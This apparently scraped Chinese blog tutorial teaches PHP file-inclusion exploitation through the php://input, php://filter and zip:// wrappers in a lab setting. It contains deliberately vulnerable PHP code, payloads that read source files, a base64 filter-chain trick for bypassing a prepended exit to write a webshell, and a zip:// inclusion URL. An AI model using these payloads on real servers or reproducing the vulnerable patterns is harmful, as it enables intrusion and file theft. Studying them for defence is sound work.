当前位置: 首页 > news >正文

宠物网站 模板erp软件免费版下载

宠物网站 模板,erp软件免费版下载,长沙 公司网站,蛋糕网站建设的目的一、PHP://INPUT php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码…

一、PHP://INPUT

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){exit('hacker!');
}
if($file){if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中";include($file);
}else{echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
}
?>

先访问这个页面

然后抓包进行上传并访问恶意代码,可以看到phpinfo()已经执行

二、PHP://FILTER

(1)基本使用

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){exit('hacker!');
}
if($file){include($file);
}else{echo '<a href="?file=flag.php">tips</a>';
}
?>

打开网页后看到

尝试payload:?file://filter/read=convert.base64-encode/resource=flag.php,得到一串base64字符,解码得flag在flag.php源码中的注释里:

解码拿到flag

拓展:

(2)巧用编码与解码

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?

幸运的是,这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。

众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

最后看到phpinfo上传了,并且可以执行

(3)利用字符串操作方法

这个php的代码格式很像XML格式,可以看成是一个XML标签

既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

如果这样的话,那我们写的php一句话木马也会被消除,咋办?

还好,php://filter允许使用多个过滤器,先将webshell进行base64编码,完成XML过滤exit后,在进行解码

txt=PD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

成功!

三、ZIP://

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

  • zip://中只能传入绝对路径。

  • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)

  • 只需要是zip的压缩包即可,后缀名可以任意更改。

//index.php
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if (!$file) echo '<a href="?file=upload">upload?</a>';
if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){echo "hick?";exit();
}else{include($file.".php");
}
?>
<!-- flag在当前目录的某个文件中 -->
//upload.php
<meta charset="utf-8">
<form action="upload.php" method="post" enctype="multipart/form-data" ><input type="file" name="fupload" /><input type="submit" value="upload!" />
</form>
you can upload jpg,png,zip....<br />
<?php
if( isset( $_FILES['fupload'] ) ) {$uploaded_name = $_FILES[ 'fupload' ][ 'name' ];         //文件名$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);   //文件后缀$uploaded_size = $_FILES[ 'fupload' ][ 'size' ];         //文件大小$uploaded_tmp  = $_FILES[ 'fupload' ][ 'tmp_name' ];     // 存储在服务器的文件的临时副本的名称$target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext;if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&( $uploaded_size < 100000 ) ) {if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho '<pre>upload error</pre>';}else {// Yes!echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>";}}else {echo '<pre>you can upload jpg,png,zip....</pre>';}
}?>

payload :

http://192.168.43.244/web4.php?file=zip://D:\phpstudy_pro\WWW\uploads\16a354cde3065e5d1faf0af136c2620e.zip%23web.zip

http://www.yayakq.cn/news/191764/

相关文章:

  • 怎么做网站内容调研烟台网站建设科技公司
  • 利用百度网盘自动播放做视频网站90设计网页版
  • 网站销售流程珠海香洲区会变黄码吗
  • 万网虚拟主机两个网站英文网站建设口碑好
  • 网站建设项目售后服务承诺常用的网络营销的手段有
  • 网站备案 山东核验点算命小程序代理
  • 辛集建设局官方网站简单个人博客模板网站
  • 大连网站开发乛薇软文类型
  • 锤子手机网站模板开发公司户型设计会议
  • 网站添加新闻建站报价表
  • 椒江建设网保障性阳光工程网站五金机械东莞网站建设
  • 溧阳市城乡建设局网站数据库对于做网站的重要性
  • 焦作建设银行网站建网站一定要备案吗
  • 做企业网站的前景网站建设公众号小程序开发
  • 我做的网站有时打开很慢什么原因呢网站只能用ip访问网站
  • 北京最大专业网站建设cloudinary wordpress
  • 网站设置三方交易输入网址跳到别的网站
  • 河间专业做网站电话微信公众号定位开发
  • 永顺县建设局网站源码之家关闭了
  • 公司网站开发和设计 怎么开票湛江哪里有建网站
  • 库尔勒北京网站建设潍坊seo管理
  • 新网站的站点验证河池公司做网站
  • 源汇区建设局网站西宁电子商务网站建设
  • 做网站用什么语言开发高端建设网站建设
  • 全网vip视频网站建设免费企业信息查询网站
  • 网站建设策划解决方案网站关键词多少个最好
  • 织梦网站程序安装教程网站建设古典风格
  • 莆田个人外贸网站建设内账免费的财务软件
  • 自动化培训网站建设北京网站开发哪好
  • 电子商务网站建设的实训心得上海专业做网站的公司